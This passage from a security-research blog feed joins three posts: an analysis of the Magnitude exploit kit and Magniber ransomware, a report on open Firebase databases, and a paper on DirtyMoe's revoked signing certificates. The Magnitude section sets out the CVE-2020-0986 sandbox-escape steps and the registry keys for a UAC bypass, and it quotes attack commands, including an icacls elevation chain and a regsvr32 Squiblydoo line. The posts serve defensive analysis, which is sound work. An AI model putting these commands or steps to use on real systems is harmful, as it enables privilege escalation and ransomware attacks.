To facilitate frequent syscall invocation, the shellcode makes use of what we call syscall templates. Below, you can see the syscall template it uses in the WoW64 Windows 10 variant. Every time the shellcode is about to invoke a syscall, it first customizes this template for the syscall it intends to invoke by patching the syscall number (the immediate in the first instruction) and the immediates from the retn instructions (which specify the number of bytes to release from the stack on function return). Once the template is customized, the shellcode can call it and it will invoke the desired syscall. Also, note the branching based on the value at offset 0x254 of the Process Environment Block. This is most likely the malware authors trying to check a field sometimes called dwSystemCallMode to find out if the syscall should be invoked directly using int 0x2e or through the FastSysCall transition.

Now that we know how the shellcode is obfuscated and how it invokes syscalls, let’s get to what it actually does. Note that the shellcode expects to run within the IE’s Enhanced Protected Mode (EPM) sandbox, so it is relatively limited in what it can do. However, the EPM sandbox is not as strict as it could be, which means that the shellcode still has limited filesystem access, public network access and can successfully call many API functions. Magnitude wants to get around the restrictions imposed by the sandbox and so the shellcode primarily functions as a preparation stage for the LPE exploit which is intended to enable Magnitude to break out of the sandbox.

The first thing the shellcode does is that it obtains the integrity level of the current process. There are two URLs embedded in the shellcode and the integrity level is used to determine which one should be used. Both URLs contain a subdomain that is generated uniquely per victim and are protected so that only the intended victim will get any response from them. If the integrity level is Low or Untrusted, the shellcode reaches out to the first URL and downloads an encrypted LPE exploit from there. The exploit is then decrypted using a simple xor-based cipher, mapped into executable memory, and executed.

On the other hand, if the integrity level is Medium or higher, the shellcode determines that it is not running in a sandbox and it skips the LPE exploit. In such cases, it downloads the final payload (currently Magniber ransomware) from the second URL, decrypts it, and then starts searching for a process that it could inject this payload into. For the 64-bit Windows shellcode variants, the target process needs to satisfy all of the following conditions:

• The target process name is not iexplore.exe
• The integrity level of the target process is not Low or Untrusted
• The integrity level of the target process is not higher than the integrity level of the current process
• The target process is not running in the WoW64 environment
• (The target process can be opened with PROCESS_QUERY_INFORMATION)

Once a suitable target process is found, the shellcode jumps through the Heaven’s Gate (only in the WoW64 variants) and injects the payload into the target process using the following sequence of syscalls: NtOpenProcess -> NtCreateSection -> NtMapViewOfSection -> NtCreateThreadEx -> NtGetContextThread -> NtSetContextThread -> NtResumeThread. Note that in this execution chain, everything happens purely in memory and this is why Magnitude is often described as a fileless exploit kit. However, the current version is not entirely fileless because, as will be shown in the next section, the LPE exploit drops a helper PE file to the filesystem.

CVE-2020-0986

Magnitude escapes the EPM sandbox by exploiting CVE-2020-0986, a memory corruption vulnerability in splwow64.exe. Since the vulnerable code is running with medium integrity and a low integrity process can trigger it using Local Procedure Calls (LPC), this vulnerability can be used to get from the EPM sandbox to medium integrity. CVE-2020-0986 and the ways to exploit it are already discussed in detail in blog posts by both Kaspersky and Project Zero. This section will therefore focus on Magnitude’s implementation of the exploit, please refer to the other blog posts for further technical details about the vulnerability. 

The vulnerable code from gdi32.dll can be seen below. It is a part of an LPC server and it can be triggered by an LPC call, with both r8 and rdi pointing into a memory section that is shared between the LPC client and the LPC server. This essentially gives the attacker the ability to call memcpy inside the splwow64 process while having control over all three arguments, which can be immediately converted into an arbitrary read/write primitive. Arbitrary read is just a call to memcpy with the dest being inside the shared memory and src being the target address. Conversely, arbitrary write is a call to memcpy with the dest being the target address and the src being in the shared memory.

However, there is one tiny problem that makes exploitation a bit more difficult. As can be seen in the disassembled code above, the count of the memcpy is obtained by adding the dereferenced content of two word pointers, located close by the src address. This is not a problem for (smaller) arbitrary writes, since the attacker can just plant the desired count beforehand into the shared memory. But for arbitrary reads, the count is not directly controllable by the attacker and it can be anywhere between 0 and 0x1FFFE, which could either crash splwow64 or perform a memcpy with either zero or a smaller than desired count. To get around this, the attacker can perform arbitrary reads by triggering the vulnerable code twice. The first time, the vulnerability can be used as an arbitrary write to plant the correct count at the necessary offset and the second time, it can be used to actually read the desired memory content. This technique has some downsides, such as that it cannot be used to read non-writable memory, but that is not an issue for Magnitude.

The exploit starts out by creating a named mutex to make sure that there is only a single instance of it running. Then, it calls CreateDCW to spawn the splwow64 process that is to be exploited and performs all the necessary preparations to enable sending LPC messages to it later on. The exploit also contains an embedded 64-bit PE file, which it drops to %TEMP% and executes from there. This PE file serves two different purposes and decides which one to fulfill based on whether there is a command-line argument or not. The first purpose is to gather various 64-bit pointers and feed them back to the main exploit module. The second purpose is to serve as a loader for the final payload once the vulnerability has been successfully exploited.

There are three pointers that are obtained by the dropped 64-bit PE file when it runs for the first time. The first one is the address of fpDocumentEvent, which stores a pointer to DocumentEvent, protected using the EncodePointer function. This pointer is obtained by scanning gdi32.dll (or gdi32full.dll) for a static sequence of instructions that set the value at this address. The second pointer is the actual address of DocumentEvent, as exported from winspool.drv and the third one is the pointer to system, exported from msvcrt.dll. Once the 64-bit module has all three pointers, it drops them into a temporary file and terminates itself.

The main 32-bit module then reads the dropped file and uses the obtained values during the actual exploitation, which can be characterized by the following sequence of actions:

1. The exploit leaks the value at the address of fpDocumentEvent in the splwow64 process. The value is leaked by sending two LPC messages, using the arbitrary read primitive described above.
2. The leaked value is an encoded pointer to DocumentEvent. Using this encoded pointer and the actual, raw, pointer to DocumentEvent, the exploit cracks the secret value that was used for pointer encoding. Read the Kaspersky blog post for how this can be done.
3. Using the obtained secret value, the exploit encodes the pointer to system, so that calling the function DecodePointer on this newly encoded value inside splwow64 will yield the raw pointer to system.
4. Using the arbitrary write primitive, the exploit overwrites fpDocumentEvent with the encoded pointer to system.
5. The exploit triggers the vulnerable code one more time. Only this time, it is not interested in any memory copying, so it sets the count for memcpy to zero. Instead, it counts on the fact that splwow64 will try to decode and call the pointer at fpDocumentEvent. Since this pointer was substituted in the previous step, splwow64 will call system instead of DocumentEvent. The first argument to DocumentEvent is read from the shared memory section, which means that it is controllable by the attacker, who can therefore pass an arbitrary command to system. 
6. Finally, the exploit uses the arbitrary write primitive one last time and restores fpDocumentEvent to its original value. This is an attempt to clean up after the exploit, but splwow64 might still be unstable because a random pointer got corrupted when the exploit planted the necessary count of the leak during the first step.

The command that Magnitude executes in the call to system looks like this:

icacls <dropped_64bit_PE> /Q /C /setintegritylevel Medium && <dropped_64bit_PE>

This elevates the dropped 64-bit PE file to medium integrity and executes it for the second time. This time, it will not gather any pointers, but it will instead extract an embedded payload from within itself and inject it into a suitable process. Currently, the injected payload is the Magniber ransomware.

Magniber

Magniber emerged in 2017 when Magnitude started deploying it as a replacement for the Cerber ransomware. Even though it is almost four years old, it still gets updated frequently and so a lot has changed since it was last written about. The early versions featured server-side AES key generation and contained constant fallback encryption keys in case the server was unreachable. A decryptor that worked when encryption was performed using these fallback keys was developed by the Korea Internet & Security Agency and published on No More Ransom. The attackers responded to this by updating Magniber to generate the encryption keys locally, but the custom PRNG based on GetTickCount was very weak, so researchers from Kookmin University were able to develop a method to recover the encrypted files. Unfortunately, Magniber got updated again, and it is currently using the custom PRNG shown below. This function is used to generate a single random byte and it is called 32 times per encrypted file (16 times to generate the AES-128 key and 16 times to generate the IV). 

While this PRNG still looks very weak at first glance, we believe there is no reasonably efficient method to attack it. The tick count is not the problem here: it is with extremely high probability going to be constant throughout all iterations of the loop and its value could be guessed by inspecting event logs and timestamps of the encrypted files. The problem lies in the RtlRandomEx function, which gets called 640 times (2 * 10 * (16 + 16)) per each encrypted file. This means that the function is likely going to get called millions of times during encryption and leaking and tracking its internal state throughout all of these calls unfortunately seems infeasible. At best, it might be possible to decrypt the first few encrypted files. And even that wouldn’t be possible on newer CPUs and Windows versions, because RtlRandomEx there internally uses the rdrand instruction, which arguably makes this a somewhat decent PRNG for cryptography. 

The ransomware starts out by creating a named mutex and generating an identifier from the victim’s computer name and volume serial number. Then, it enumerates in random order all logical drives that are not DRIVE_NO_ROOT_DIR or DRIVE_CDROM and proceeds to recursively traverse them to encrypt individual files. Some folders, such as sample music or tor browser, are excluded from encryption, same as all hidden, system, readonly, temporary, and virtual files. The full list of excluded folders can be found in our IoC repository.

Just like many other ransomware strains, Magniber only encrypts files with certain preselected extensions, such as .doc or .xls. Its configuration contains two sets of extension hashes and each file gets encrypted only if the hash of its extension can be found in one of these sets. The division into two sets was presumably done to assign priority to the extensions. Magniber goes through the whole filesystem in two sweeps. In the first one, it encrypts files with extensions from the higher-priority set. In the second sweep, it encrypts the rest of the files with extensions from the lower-priority set. Interestingly, the higher-priority set also contains nine extensions that were additionally obfuscated, unlike the rest of the higher-priority set. It seems that the attackers were trying to hide these extensions from reverse engineers. You can find these and the other extensions that Magniber encrypts in our IoC repository.

To encrypt a file, Magniber first generates a random 128-bit AES key and IV using the PRNG discussed above. For some bizarre reason, it only chooses to generate bytes from the range 0x03 to 0xFC, effectively reducing the size of the keyspace from 256¹⁶ to 250¹⁶. Magniber then reads the input file by chunks of up to 0x100000 bytes, continuously encrypting each chunk in CBC mode and writing it back to the input file. Once the whole file is encrypted, Magniber also encrypts the AES key and IV using a public RSA key embedded in the sample and appends the result to the encrypted file. Finally, Magniber renames the file by appending a random-looking extension to its name.

However, there is a bug in the encryption process that puts some encrypted files into a nonrecoverable state, where it is impossible to decrypt them, even for the attackers who possess the corresponding private RSA key. This bug affects all files with a size that is a multiple of 0x100000 (1 MiB). To understand this bug, let’s first investigate in more detail how individual files get encrypted. Magniber splits the input file into chunks and treats the last chunk differently. When the last chunk is encrypted, Magniber sets the Final parameter of CryptEncrypt to TRUE, so CryptoAPI can add padding and finalize the encryption. Only after the last chunk gets encrypted does Magniber append the RSA-encrypted AES key to the file. 

The bug lies in how Magniber determines that it is currently encrypting the last chunk: it treats only chunks of size less than 0x100000 as the last chunks. But this does not work for files the size of which is a multiple of 0x100000, because even the last chunk of such files contains exactly 0x100000 bytes. When Magniber is encrypting such files, it never registers that it is encrypting the last chunk, which causes two problems. The first problem is that it never calls CryptEncrypt with Final=TRUE, so the encrypted files end up with invalid padding. The second, much bigger, problem is that Magniber also does not append the RSA-encrypted AES key, because the trigger for appending it is the encryption of the last chunk. This means that the AES key and IV used for the encryption of the file get lost and there is no way to decrypt the file without them.

Magniber drops its ransom note into every folder where it encrypted at least one file. An extra ransom note is also dropped into %PUBLIC% and opened up automatically in notepad.exe after encryption. The ransom note contains several URLs leading the victims to the payment page, which instructs them on how to pay the ransom in order to obtain the decryptor. These URLs are unique per victim, with the subdomain representing the victim identifier. Magniber also automatically opens up the payment page in the victim’s browser and while doing so, exfiltrates further information about the ransomware deployment through the URL, such as:

• The number of encrypted files
• The total size of all encrypted files
• The number of encrypted logical drives
• The number of files encountered (encrypted or not)
• The version of Windows
• The victim identifier
• The version of Magniber

Finally, Magniber attempts to delete shadow copies using a UAC bypass. It writes a command to delete them to HKCU\Software\Classes\mscfile\shell\open\command and then executes CompMgmtLauncher.exe assuming that this will run the command with elevated privileges. But since this particular UAC bypass method was fixed in Windows 10, Magniber also contains another bypass method, which it uses exclusively on Windows 10 machines. This other method works similarly, writing the command to HKCU\Software\Classes\ms-settings\shell\open\command, creating a key named DelegateExecute there, and finally running ComputerDefaults.exe. Interestingly, the command used is regsvr32.exe scrobj.dll /s /u /n /i:%PUBLIC%\readme.txt. This is a technique often referred to as Squiblydoo and it is used to run a script dropped into readme.txt, which is shown below.

Conclusion

In this blog post, we examined in detail the current state of the Magnitude exploit kit. We described how it exploits CVE-2021-26411 and CVE-2020-0986 to deploy ransomware to unfortunate victims who browse the Internet using vulnerable builds of Internet Explorer. We found Magnitude to be a mature exploit kit with a very robust infrastructure. It uses thousands of fresh domains each month and its infection chain is composed of seven stages (not even counting the multiple obfuscation layers). The infrastructure is also well protected, which makes it very challenging for malware analysts to track and research the exploit kit.

We also dug deep into the Magniber ransomware. We found a bug that results in some files being encrypted in such a way that even the attackers can not possibly decrypt them. This underscores the unfortunate fact that paying the ransom is never a guarantee to get the ransomed files back. This is one of the reasons why we urge ransomware victims to try to avoid paying the ransom. 

Even though the attackers behind Magnitude appear to have a good grasp on exploit development, obfuscation, and protection of malicious infrastructure, they seem to have no idea what they are doing when it comes to generating random numbers for cryptographic purposes. This resulted in previous versions of Magniber using flawed PRNGs, which allowed malware researchers to develop decryptors that helped victims recover their ransomed files. However, Magniber was always quick to improve their PRNG, which unfortunately made the decryptors obsolete. The current version of Magniber is using a PRNG that seems to be just secure enough, which makes us believe that there will be no more decryptors in the future.

Indicators of Compromise (IoC)

The full list of IoCs is available at https://github.com/avast/ioc/tree/master/Magnitude.

Redirection page

SHA-256

2cc3ece1163db8b467915f76b187c07e1eb0ca687c8f1efb9d278b8daadbe590

3da50b3752560932d9d123ef813a3b67f5d840fee38a18cc14d18d5dc369bce4

91dbcaa7833aef48fa67c55c26c9c142cb76c5530c0b2a3823c8f74cf52b73cc

db8cf1f5651a44b443a23bc239b4215dcfd0a935458f9d17cb511b2c33e0c3b9

ef15ee0511c2f9e29ecaf907f3ca0bb603f7ec57d320ba61b718c4078b864824

CVE-2021-26411

SHA-256

0306b0b79a85711605bbbfac62ac7d040a556aa7ac9fe58d22ea2e00d51b521a

419da91566a7b1e5720792409301fa772d9abf24dfc3ddde582888112f12937a

6a348a5b13335e453ac34b0ed87e37a153c76a5be528a4ef4b67e988aaf03533

4e80fa124865445719e66d917defd9c8ed3bd436162e3fbc180a12584d372442

217f21bd9d5e92263e3a903cfcea0e6a1d4c3643eed223007a4deb630c4aee26

Shellcode

SHA-256	Note
5d0e45febd711f7564725ac84439b74d97b3f2bc27dbe5add5194f5cdbdbf623	Win10 WoW64 variant
351a2e8a4dc2e60d17208c9efb6ac87983853c83dae5543e22674a8fc5c05234	^ unpacked
4044008da4fc1d0eb4a0242b9632463a114b2129cedf9728d2d552e379c08037	Win7 WoW64 variant
1ea23d7456195e8674baa9bed2a2d94c7235d26a574adf7009c66d6ec9c994b3	^ unpacked
3de9d91962a043406b542523e11e58acb34363f2ebb1142d09adbab7861c8a63	Win7 native variant
dfa093364bf809f3146c2b8a5925f937cc41a99552ea3ca077dac0f389caa0da	^ unpacked
e05a4b7b889cba453f02f2496cb7f3233099b385fe156cae9e89bc66d3c80a7f	newer Win7 WoW64 variant
ae930317faf12307d3fb9a534fe977a5ef3256e62e58921cd4bf70e0c05bf88a	latest Win7 WoW64 variant

CVE-2020-0986

SHA-256	Note
440be2c75d55939c90fc3ef2d49ceeb66e2c762fd4133c935667b3b2c6fb8551	pingback payload
a5edae721568cdbd8d4818584ddc5a192e78c86345b4cdfb4dc2880b9634acab	pingback payload
1505368c8f4b7bf718ebd9a44395cfa15657db97a0c13dcf47eb8cfb94e7528b	Magniber payload
63525e19aad0aae1b95c3a357e96c93775d541e9db7d4635af5363d4e858a345	Magniber payload
31e99c8f68d340fd046a9f6c8984904331dc6a5aa4151608058ee3aabc7cc905	Magniber payload

Pointer scanner/loader 64-bit module

SHA-256

f8472b1385ed22897c99f413e7b87a05df8be05b270fd57a9b7dd27bed9a79a6

19f57a213e7828e5e32adf169e51e0d165ddf25a6851a726268e10273a8df8b8

b0b709a620509154bc6d7b4e66d0a7daa7fd8ce23d1e104d80128ea3d0bb54e7

d22d616255b3cceff0fbcaba98083f5fda8be951287fb1d1c207fd1887889b2f

7c1fc5dfb970f856abf48cc65bda4f102452216ad8b9f1fe9c7a66650d91959d

Magniber

SHA-256

a2448b93d7c50801056052fb429d04bcf94a478a0a012191d60e595fed63eec4

525f9dbf9a74390fd22779a68f191b099ee9b4d2e8095c57ac1c932629a8af56

3ae5cd106e3130748ef61d317022d7b6ab98a0811088cfc478d49375c352bf04

daf17fbf2bfcfaa2dafb6470a5da0054eb61ab5b44cd8cbbf22f8819f3c432db

fcd8f8647a1d5e08446a392cc6c69090c00714d681c4fa258656e12cd4f80c2e

C&Cs

https://github.com/avast/ioc/blob/master/Magnitude/cncs.txt

Decoy ad domains

https://github.com/avast/ioc/blob/master/Magnitude/decoys.txt

The post Magnitude Exploit Kit: Still Alive and Kicking appeared first on Avast Threat Labs.

Firebase is Google’s mobile and web app development platform. Developers can use Firebase to facilitate developing mobile and web apps, especially for the Android mobile platform.

At the end of July 2021 we did research into open Firebase instances.

In that research, we found about 180,300 Firebase addresses in our systems and found approximately 19,300 of those Firebase DBs, 10.7% of the tested DBs were open, exposing the data to unauthenticated users, due to misconfiguration by the app developers. This is quite a large percentage.

These addresses were statically and dynamically extracted from different sources, mainly from Android apps.

We took these Firebase addresses and examined them to see how many were open. In our testing, we looked only for instances that were open for “Read” access without credentials. We didn’t test for write access for obvious reasons.

These open Firebase instances put the data stored and used by the apps developed using it at risk of theft, because apps can store and use a variety of information, some of it including personally identifiable information (PII) like names, birthdates, addresses, phone numbers, location information, service tokens and keys among other things. When developers use bad practices DBs can even contain plaintext passwords. This means that potentially the personal information of over 10% of users of Firebase-based apps can be at risk.

Of course, our testing shows only a subset of all existing Firebase instances. However, we believe that this 10.7% number can be a reasonable representative sample of the total number of Firebase instances that are currently open.

We took our findings to Google and asked them to inform developers of the apps we identified as open as well as contacting some of the developers ourselves.. Google has several features to improve data protection in Firebase, including notifications and regular emails about potential misconfigurations.

While we appreciate Google’s actions based on our findings, we also believe it’s important to inform Firebase developers about potential risk of misconfigured DBs and follow the best practices that Google has provided at https://firebase.google.com. This also once again underscores the importance of making security and privacy a key part of the entire app development process, not just as a later “bolt on”.

Most importantly, we want to urge  all developers to check their databases and other storage for possible misconfigurations to protect users’ data and make our digital world safer.

The post Research shows over 10% of sampled Firebase instances open appeared first on Avast Threat Labs.

Abstract

The DirtyMoe malware uses a driver signed with a revoked certificate that can be seamlessly loaded into the Windows kernel. Therefore, one of the goals is to analyze how Windows works with a code signature of Windows drivers. Similarly, we will be also interested in the code signature verification of user-mode applications since the user account control (UAC) does not block the application execution even if this one is also signed with a revoked certificate. The second goal is a statistical analysis of certificates that sign the DirtyMoe driver because the certificates are also used to sign other malicious software. We focus on the determination of the certificate’s origin, prevalence, and a quick analysis of the top 10 software signed with these certificates.

Contrary to what often has been assumed, Windows loads a driver signed with a revoked certificate. Moreover, the results indicate that the UAC does not verify revocation online but only via the system local storage which is updated by a user manually. DirtyMoe certificates are used to sign many other software, and the number of incidents is still growing. Furthermore, Taiwan and Russia seem to be the most affected by these faux signatures.

Overall, the analyzed certificates can be declared as malicious, and they should be monitored. The UAC contains a significant vulnerability in its code signature verification routine. Therefore, in addition to the usual avoidance of downloading from usual sources, Windows users should also not fully rely on inbuilt protections only. Due to the flawed certificate verification, manual verification of the certificate is recommended for executables requiring elevated privileges.

1. Introduction

The DirtyMoe malware is a complex malicious backdoor designed to be modularized, undetectable, and untrackable. The main aim of DirtyMoe is cryptojacking and DDoS attacks. Basically, it can do anything that attackers want. The previous study, published at DirtyMoe: Introduction and General Overview, has shown that DirtyMoe also employs various self-protection and anti-forensics mechanisms. One of the more significant safeguards, defending DirtyMoe, is a rootkit. What is significant about the rootkit using is that it offers advanced techniques to hide malicious activity on the kernel layer. Since DirtyMoe is complex malware and has undergone long-term development, therefore, the malware authors have also implemented various rootkit mechanisms. The DirtyMoe: Rootkit Driver post examines the DirtyMoe driver functionality in detail.

However, another important aspect of the rootkit driver is a digital signature. The rootkits generally exploit the system using a Windows driver. Microsoft has begun requiring the code signing with certificates that a driver vendor is trusted and verified by a certification authority (CA) that Microsoft trusts. Nonetheless, Windows does not allow the loading of unsigned drivers since 64-bit Windows Vista and later versions. Although the principle of the code signing is correct and safe, Windows allows  loading a driver that a certificate issuer has explicitly revoked the used certificate. The reasons for this behavior are various, whether in terms of performance or backward compatibility. The weak point of this certificate management is if malware authors steal any certificate that has been verified by Microsoft and revoked by CA in the past. Then the malware authors can use this certificate for malicious purposes. It is precisely the case of DirtyMoe, which still signs its driver with stolen certificates. Moreover, users cannot affect the codesign verification via the user account control (UAC) since drivers are loaded in the kernel mode.

Motivated by the loading of drivers with revoked certificates, the main issues addressed in this paper are analysis of mechanism how Windows operates with code signature in the kernel and user mode; and detailed analysis of certificates used for code signing of the DirtyMoe driver.

This paper first gives a brief overview of UAC and code signing of Windows drivers. There are also several observations about the principle of UAC, and how Windows manages the certificate revocation list (CRL). The remaining part of the paper aims to review in detail the available information about certificates that have been used to code signatures of the DirtyMoe driver.

Thus far, three different certificates have been discovered and confirmed by our research group as malicious. Drivers signed with these certificates can be loaded notwithstanding their revocation into the 64-bit Windows kernel. An initial objective of the last part is an analysis of the suspicious certificates from a statistical point of view. There are three viewpoints that we studied. The first one is the geological origin of captured samples signed with the malicious certificate. The second aspect is the number of captured samples, including a prediction factor for each certificate. The last selected frame of reference is a statistical overview about a type of the signed software because the malware authors use the certificates to sign various software, e.g., cracked software or other popular user applications that have been patched with a malicious payload. We have selected the top 10 software signed with revoked certificates and performed a quick analysis. Categories of this software help us to ascertain the primarily targeted type of software that malware authors signed. Another significant scope of this research is looking for information about companies that certificates have probably been leaked or stolen.

2. Background

Digital signatures are able to provide evidence of the identity, origin, and status of electronic documents, including software. The user can verify the validity of signatures with the certification authority. Software developers use digital signatures to a code signing of their products. The software authors guarantee via the signature that executables or scripts have not been corrupted or altered since the products have been digitally signed. Software users can verify the credibility of software developers before run or installation.

Each code-signed software provides information about its issuer, and an URL points to the current certificate revocation list (CRL) known as the CRL Distribution Point. Windows can follow the URL and check the validity of the used certificate. If the verification fails, the User Account Control (UAC) blocks software execution that code-signature is not valid. Equally important is the code-signature of Windows drivers that use a different approach to digital signature verification. Whereas user-mode software signatures are optional, the Windows driver must be signed by a CA that Windows trusts. Driver signing is mandatory since 64-bit Windows Vista.

2.1 User Account Control and Digital Signature

Windows 10 prompts the user for confirmation if the user wants to run software with high permission. User Account Control (UAC) should help to prevent users from inadvertently running malicious software or other types of changes that might destabilize the Windows system. Additionally, UAC uses color coding for different scenarios – blue for a verified signature, yellow for an unverified, and red for a rejected certificate; see Figure 1.

Unfortunately, users are the weakest link in the safety chain and often willingly choose to ignore such warnings. Windows itself does not provide 100% protection against unknown publishers and even revoked certificates. So, user’s ignorance and inattention assist malware authors.

2.2 Windows Drivers and Digital Signature

Certificate policy is diametrically different for Windows drivers in comparison to other user-mode software. While user-mode software does not require code signing, code signing is mandatory for a Windows driver; moreover, a certificate authority trusted by Microsoft must be used. Nonetheless, the certificate policy for the windows drivers is quite complicated as MSDN demonstrates [1].

2.2.1 Driver Signing

Historically, 32-bit drivers of all types were unsigned, e.g., drivers for printers, scanners, and other specific hardware. Windows Vista has brought a new signature policy, but Microsoft could not stop supporting the legacy drivers due to backward compatibility. However, 64-bit Windows Vista and later has to require digitally signed drivers according to the new policy. Hence, 32-bit drivers do not have to be signed since these drivers cannot be loaded into the 64-bit kernels. The code signing of 32-bit drivers is a good practice although the certificate policy does not require it.

Microsoft has no capacity to sign each driver, more precisely file, provided by third-party vendors. Therefore, a cross-certificate policy is used to provide an instrument to create a chain of trust. This policy allows the release of a subordinate certificate that builds the chain of trust from the Microsoft root certification authority to multiple other CAs that Microsoft accredited. The current cross-certificate list is documented in [2]. In fact, the final driver signature is done with a certificate that has been issued by the subordinate CA, which Microsoft authorized.

The examples of the certificate chain illustrates Figure 2 and the following output of signtool;
see Figure 3.

2.2.2 Driver Signature Verification

For user-mode software, digital signatures are verified remotely via the CRL list obtained from certificate issuers. The signature verification of Windows drivers cannot be performed online compared with user-mode software because of the absence of network connection during the kernel bootup. Moreover, the kernel boot must be fast and a reasonable approach to tackle the signature verification is to implement a light version of the verification algorithm.

The Windows system has hardcoded root certificates of several CAs and therefore can verify the signing certificate chain offline. However, the kernel has no chance to authenticate signatures against CRLs. The same is applied to expired certificates. Taken together, this approach is implemented due to kernel performance and backward driver compatibility. Thus, leaked and compromised certificates of a trusted driver vendor causes a severe problem for Windows security.

3. CRL, UAC, and Drivers

As was pointed out in the previous section, CRL contains a list of revoked certificates. UAC should verify the chain of trust of run software that requires higher permission. The UAC dialog then shows the status of the certificate verification. It can end with two statuses, e.g., verified publisher or unknown publisher [3], see Figure 1.

However, we have a scenario where software is signed with a revoked certificate and run is not blocked by UAC. Moreover, the code signature is marked as the unknown publisher (yellow titled UAC), although the certificate is in CRL.

3.1 Cryptographic Services and CRL Storage

Cryptographic Services confirms the signatures of Windows files and stores file information into the C:\Users\<user>\AppData\LocalLow\Microsoft\CryptnetUrlCache folder, including the CRL of the verified file. The CryptnetUrlCache folder (cache) is updated, for instance, if users manually check digital signatures via “Properties -> Digital Signature” or via the signtool tools, as Figure 3 and Figure 4 illustrate. The certificate verification processes the whole chain of trust, including CRL and possible revocations deposits in the cache folder.

Another storage of CRLs is Certificate Storage accessible via the Certificate Manager Tool; see
Figure 5. This storage can be managed by local admin or domain.

3.2 CRL Verification by UAC

UAC itself does not verify code signature, or more precisely chain of trust, online; it is probably because of system performance. The UAC codesign verification checks the signature and CRL via CryptnetUrlCache and the system Certificate storage. Therefore, UAC marks malicious software, signed with the revoked certificate, as the unknown publisher because CryptnetUrlCache is not up-to-date initially.

Suppose the user adds appropriate CRL into Certificate Storage manually using this command:
certutil -addstore -f Root CSC3-2010.crl

In that case, UAC will successfully detect the software as suspicious, and UAC displays this message: “An administrator has blocked you from running this app.” without assistance from Cryptographic Services and therefore offline.

The Windows update does not include CRLs of cross-certificate authorities that Microsoft authorized to codesign of Windows files. This fact has been verified via Windows updates and version as follow:

• Windows Malicious Software Removal Tool x64 – v5.91 (KB890830)
• 2021-06 Cumulative update for Windows 10 Version 20H2 for x64-based System (KB5003690)
• Windows version: 21H1 (OB Build 19043.1110)

In summary, UAC checks digital signatures via the system local storage of CRL and does not verify code signature online.

3.3 Windows Driver and CRL

Returning briefly to the codesign of the Windows driver that is required by the kernel. The kernel can verify the signature offline, but it cannot check CRL since Cryptographic Services and network access are not available at boot time.

Turning now to the experimental evidence on the offline CRL verification of drivers. It is evident in the case described in Section 3.2 that UAC can verify CRL offline. So, the tested hypothesis is that the Windows kernel could verify the CRL of a loaded driver offline if an appropriate CRL is stored in Certificate Storage. We used the DirtyMoe malware to deploy the malicious driver that is signed with the revocated certificate. The corresponding CRL of the revoked certificate has been imported into Certificate Storage. However, the driver was still active after the system restart. It indicates that the rootkit was successfully loaded into the kernel, although the driver certificate has been revoked and the current CRL was imported into Certificate Storage. There is a high probability that the kernel avoids the CRL verification even from local storage.

4. Certificate Analysis

The scope of this research are three certificates as follow:

Beijing Kate Zhanhong Technology Co.,Ltd.
Valid From: 28-Nov-2013 (2:00:00)
Valid To: 29-Nov-2014 (1:59:59)
SN: 3c5883bd1dbcd582ad41c8778e4f56d9
Thumbprint: 02a8dc8b4aead80e77b333d61e35b40fbbb010a0
Revocation Status: Revoked on 22-May-‎2014 (9:28:59)
CRL Distribution Point: http://cs-g2-crl.thawte.com/ThawteCSG2.crl
IoCs:
88D3B404E5295CF8C83CD204C7D79F75B915D84016473DFD82C0F1D3C375F968
376F4691A80EE97447A66B1AF18F4E0BAFB1C185FBD37644E1713AD91004C7B3
937BF06798AF9C811296A5FC1A5253E5A03341A760A50CAC67AEFEDC0E13227C

Beijing Founder Apabi Technology Limited
Valid From: 22-May-2018 (2:00:00)
Valid To: 29-May-2019 (14:00:00)
SN: 06b7aa2c37c0876ccb0378d895d71041
Thumbprint: 8564928aa4fbc4bbecf65b402503b2be3dc60d4d
Revocation Status: Revoked on 22-May-‎2018 (2:00:01)
CRL Distribution Point: http://crl3.digicert.com/sha2-assured-cs-g1.crl
IoCs:
B0214B8DFCB1CC7927C5E313B5A323A211642E9EB9B9F081612AC168F45BF8C2
5A4AC6B7AAB067B66BF3D2BAACEE300F7EDB641142B907D800C7CB5FCCF3FA2A
DA720CCAFE572438E415B426033DACAFBA93AC9BD355EBDB62F2FF01128996F7

Shanghai Yulian Software Technology Co., Ltd. (上海域联软件技术有限公司)
Valid From: 23-Mar-2011 (2:00:00)
Valid To: 23-Mar-2012 (1:59:59)
SN: 5f78149eb4f75eb17404a8143aaeaed7
Thumbprint: 31e5380e1e0e1dd841f0c1741b38556b252e6231
Revocation Status: Revoked on 18-Apr-‎2011 (10:42:04)
CRL Distribution Point: http://csc3-2010-crl.verisign.com/CSC3-2010.crl
IoCs:
15FE970F1BE27333A839A873C4DE0EF6916BD69284FE89F2235E4A99BC7092EE
32484F4FBBECD6DD57A6077AA3B6CCC1D61A97B33790091423A4307F93669C66
C93A9B3D943ED44D06B348F388605701DBD591DAB03CA361EFEC3719D35E9887

4.1 Beijing Kate Zhanhong Technology Co.,Ltd.

We did not find any relevant information about Beijing Kate Zhanhong Technology company. Avast captured 124 hits signed with the Beijing Kate certificates from 2015 to 2021. However, prediction to 2021 indicates a downward trend; see Figure 6. Only 19 hits have been captured in the first 7 months of this year, so the prediction for this year (2021) is approx. 30 hits signed with this certificate.

Ninety-five percent of total hits have been located in Asia; see Table 1 for detailed GeoIP distribution of the last significant years.

Year / Country	CN	TW	UA	MY	KR	HK
2015	15	1		3
2018	3	1				2
2019	19		2
2020	12	46	1
2021	11				8
Total	60	48	3	3	8	2

The malware authors use this certificate to sign Windows system drivers in 61 % of monitored hits, and Windows executables are signed in 16 % of occurrences. Overall, it seems that the malware authors focus on Windows drivers, which must be signed with any verified certificates.

4.2 Beijing Founder Apabi Technology Limited

The Beijing Founder Apabi Technology Co., Ltd. was founded in 2001, and it is a professional digital publishing technology and service provider under Peking University Founder Credit Group. The company also develops software for e-book reading like Apabi Reader‬ [4].

The Beijing Founder certificate has been observed, as malicious, in 166 hits with 18 unique SHAs. The most represented sample is an executable called “Linking.exe” which was hit in 8 countries, most in China; exactly 71 cases. The first occurrence and peak of the hits were observed in 2018. The incidence of hits was an order of magnitude lower in the previous few years, and we predict an increase in the order of tens of hits, as Figure 7 illustrates.

4.3 Shanghai Yulian Software Technology Co., Ltd.

The Shanghai Yulian Software Technology Co. was founded in 2005, which provides network security guarantees for network operators. Its portfolio covers services in the information security field, namely e-commerce, enterprise information security, security services, and system integration [5].

